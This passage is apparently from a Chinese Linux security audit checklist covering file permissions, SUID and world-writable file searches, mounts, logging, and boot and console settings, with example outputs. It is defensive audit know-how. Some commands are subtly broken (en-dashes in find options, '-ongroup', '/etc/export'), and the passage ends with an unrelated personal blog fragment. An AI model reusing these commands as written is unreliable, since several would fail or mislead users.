5.1.4    关键文件属性信息检查

5.2 说明：

查看系统关键文件属性

5.2.1    检查方法：

ls -al file_name

5.3 结果分析方法：

应对于如下系统关键文件属性进行检查：

/etc/shadow    /var/log/messages   /var/log/wtmp    /var/run/utmp

/etc/rc.d/init.d  /etc/inittab   /etc/group  /etc/crontab   /var/spool/cron

/etc/securetty  /etc/lilo.conf   /etc/grub.conf

5.4 /tmp属性信息检查

5.4.1    说明：

查看/tmp目录属性

5.4.2    检查方法：

ls -al /

5.4.3    结果分析方法：

# ls -al / | grep tmp

drwxrwxrwt    7 root         4096 May 11 20:07 tmp/

5.4.4    备注：

本例输出表示/tmp目录已设置sticky位

5.5 系统特殊文件信息检查

5.5.1    说明：

查看系统存在的特殊文件（SUID/SGID程序，/dev下的非设备文件，非/dev下的设备文件，所有可写的文件，没有属主的文件，rhosts文件等）

5.5.2    检查方法：

查找SUID/SGID程序：

# find / -type f ( -perm -04000 -o -perm -02000 ) -ls

查找/dev下的非设备文件：

# /bin/find  /dev  -type f  -exec ls -l {} \;

查找非/dev下的设备文件：

# /bin/find  /  \( -type b -o -type c\) -print | grep -v '^/dev/'

查找所有可写的文件：

# /bin/find / -perm -2 ! –type l -ls

查找没有属主的文件：

# /bin/find  /  \( -nouser –o –ongroup\) -print

查找rhosts文件：

# /bin/find  / -name .rhosts -print

5.5.3    结果分析方法：

同检查方法

5.5.4    备注：

本例所有输出可以重定向到文件，即在每个命令之后加入 > result，方便结果汇总。

5.6 系统分区加载信息检查

5.6.1    说明：

查看系统分区加载情况

5.6.2    检查方法：

mount

cat /etc/fstab

5.6.3    结果分析方法：

# mount

# cat /etc/fstab

5.7 共享文件系统信息检查

5.7.1    说明：

查看共享的文件系统信息

5.7.2    检查方法：

exportfs      cat /etc/export

5.7.3    结果分析方法：

# exportfs

# cat /etc/export

5.8 加载nfs文件系统信息检查

5.8.1    说明：

查看系统加载的nfs文件系统信息

5.8.2    检查方法：

df -k

5.8.3    结果分析方法：

# df -k

6       日志审核

6.1 系统AUTH日志信息检查

6.1.1    说明：

查看系统AUTH日志信息

6.1.2    检查方法：

cat syslog.conf | grep auth

6.1.3    结果分析方法：

# cat syslog.conf | grep auth

# Don't log private authentication messages!

*.info;mail.none;authpriv.none;cron.none                /var/log/messages

# The authpriv file has restricted access.

authpriv.*                                              /var/log/secure

6.1.4    备注：

本例输出表示AUTH日志信息均发往/var/log/secure

7       安全增强性

7.1 系统启动LILO密码设置检查

7.1.1    说明：

查看系统启动LILO是否设置密码

7.1.2    检查方法：

cat /etc/lilo.conf  | grep passwd

7.1.3    结果分析方法：

# cat /etc/lilo.conf  | grep passwd

7.1.4    备注：

本例输出表示系统启动LILO不需要输入密码

7.2 系统禁止Control-Alt-Delete键盘关闭命令信息检查

7.2.1    说明：

查看系统是否禁止Control-Alt-Delete键盘关闭命令

7.2.2    检查方法：

cat /etc/inittab | grep ca

7.2.3    结果分析方法：

# cat /etc/inittab | grep ca

ca::ctrlaltdel:/sbin/shutdown -t3 -r now

7.2.4    备注：

本例输出表示系统并未禁止Control-Alt-Delete键盘关闭命令

7.3 登录时隐藏系统信息检查

7.3.1    说明：

查看系统是否屏蔽提示信息

7.3.2    检查方法：

控制台登录或查看/etc/issue、/etc/issue.net文件

7.4 系统是否多重引导信息检查

7.4.1    说明：

查看系统（特别是生产机）是否存在多重引导

7.4.2    检查方法：

cat /etc/lilo.conf

cat /etc/grub.conf

7.4.3    结果分析方法：

# cat grub.conf

# grub.conf generated by anaconda

#

# Note that you do not have to rerun grub after making changes to this file

# NOTICE:  You have a /boot partition.  This means that

#          all kernel and initrd paths are relative to /boot/, eg.

#          root (hd0,0)

#          kernel /vmlinuz-version ro root=/dev/sda2

#          initrd /initrd-version.img

#boot=/dev/sda

default=1

timeout=10

splashimage=(hd0,0)/grub/splash.xpm.gz

title Red Hat Linux (2.4.18-14)

        root (hd0,0)

        kernel /vmlinuz-2.4.18-14 ro root=LABEL=/

        initrd /initrd-2.4.18-14.img

title Red Hat Linux (2.4.19)

        root (hd0,0)

        kernel /bzImage-2.4.19 ro root=/dev/sda2

7.4.4    备注：

本例输出表示系统只安装了Red Hat Linux

7.5 系统启动时运行等级信息检查

7.5.1    说明：

查看系统启动时运行等级

7.5.2    检查方法：

cat /etc/inittab | grep id

7.5.3    结果分析方法：

# cat /etc/inittab | grep id

id:3:initdefault:

7.5.4    备注：

本例输出中3表示系统启动后进入多用户模式，5表示系统启动后进入X windows模式。

7.6 系统控制台访问信息检查

7.6.1    说明：

查看哪些系统帐号可以从控制台登录

7.6.2    检查方法：

cat /etc/security/access.conf | grep -v "#"

7.6.3    结果分析方法：

# cat /etc/security/access.conf | grep -v "#"

7.7 系统虚拟设备检查

7.7.1    说明：

查看哪些系统虚拟设备允许远程连接

7.7.2    检查方法：

cat /etc/securetty | grep -v "tty"

7.7.3    结果分析方法：

# cat /etc/securetty | grep -v "tty"

7.7.4    备注：

本例输出说明vc设备允许远程连接

8       后门与日志检查
检查系统日志文件是否完备，是否存在异常情况，如日期，大小，完整性。

9       第三方安全产品安装情况
是否禁用telnetd service使用openssh等加密连接协议来进行remote login登陆

若安装md5软件包 请检测/bin/login的md5效检值是否一至 与文件权限问题

若有必要可以truss跟踪ls, ps ,netstat 等系统调用  查看是否存在不正常的系统调用和函数劫持.

订到火车票了，订成功8张票，取了5张票，真爽，就快回家了！这里还得感谢华仔我的哥们一起的努力的打电话，嘎嘎！

     去年11月中旬的时候写了一篇《流量控制软件ntop的安装》，